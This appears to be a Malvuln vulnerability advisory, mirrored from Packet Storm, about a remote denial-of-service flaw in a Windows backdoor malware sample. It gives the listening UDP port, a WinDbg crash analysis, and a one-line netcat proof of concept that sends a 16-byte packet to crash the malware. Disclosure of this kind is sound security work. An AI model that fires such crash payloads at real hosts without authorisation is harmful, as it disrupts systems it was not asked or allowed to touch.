## https://sploitus.com/exploit?id=PACKETSTORM:164804
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/1a4d58e281103fea2a4ccbfab93f74d2.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: HEUR.Backdoor.Win32.Denis.gen
Vulnerability: Remote Denial of Service (UDP Datagram)
Description: The malware listens on UDP port 50530 and the last digit increments by one each time the malware is restarted e.g. 50531. Third-party attackers who can reach infected systems can send 16 byte UDP packet to trigger an access violation and crash.
Type: PE32
MD5: 1a4d58e281103fea2a4ccbfab93f74d2
Vuln ID: MVID-2021-0395
Disclosure: 11/07/2021
Memory Dump:
(ebc.15e4): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=01003ff0 edx=0000415d esi=00000003 edi=00000003
eip=7770ed3c esp=00bbec44 ebp=00bbedd4 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
7770ed3c c21400 ret 14h
0:000> .ecxr
eax=00bbf6a8 ebx=0000415d ecx=01003ff0 edx=0000415d esi=00000000 edi=00000000
eip=012020eb esp=00bbf584 ebp=00bbf5d0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
*** ERROR: Module load completed but symbols could not be loaded for HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe
HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x20eb:
012020eb 8a0419 mov al,byte ptr [ecx+ebx] ds:002b:0100814d=??
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
FAULTING_IP:
HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb
012020eb 8a0419 mov al,byte ptr [ecx+ebx]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 012020eb (HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x000020eb)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 0100814d
Attempt to read from address 0100814d
DEFAULT_BUCKET_ID: INVALID_POINTER_READ
PROCESS_NAME: HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 0100814d
READ_ADDRESS: 0100814d
FOLLOWUP_IP:
HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb
012020eb 8a0419 mov al,byte ptr [ecx+ebx]
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 000015e4
PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ
BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ
LAST_CONTROL_TRANSFER: from 01206b11 to 012020eb
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
00bbf5d0 01206b11 01003ff0 0000415d 01002fe8 HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x20eb
00bbf9c4 01206e25 01214b3c 01200000 00000000 HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x6b11
00bbfa58 77408654 00ceb000 77408630 db60d728 HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+0x6e25
00bbfa6c 77704a77 00ceb000 c59b8fff 00000000 kernel32!BaseThreadInitThunk+0x24
00bbfab4 77704a47 ffffffff 77729eb4 00000000 ntdll!__RtlUserThreadStart+0x2f
00bbfac4 00000000 01214b8f 00ceb000 00000000 ntdll!_RtlUserThreadStart+0x1b
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2
IMAGE_NAME: HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 502fe904
STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb
FAILURE_BUCKET_ID: INVALID_POINTER_READ_c0000005_HEUR.Backdoor.Win32.Denis.gen.1a4d58e281103fea2a4ccbfab93f74d2.exe!Unknown
BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_READ_HEUR_Backdoor_Win32_Denis_gen_1a4d58e281103fea2a4ccbfab93f74d2+20eb
Exploit/PoC:
python -c "print('A'*16)" | nc64.exe x.x.x.x -u -c 50531
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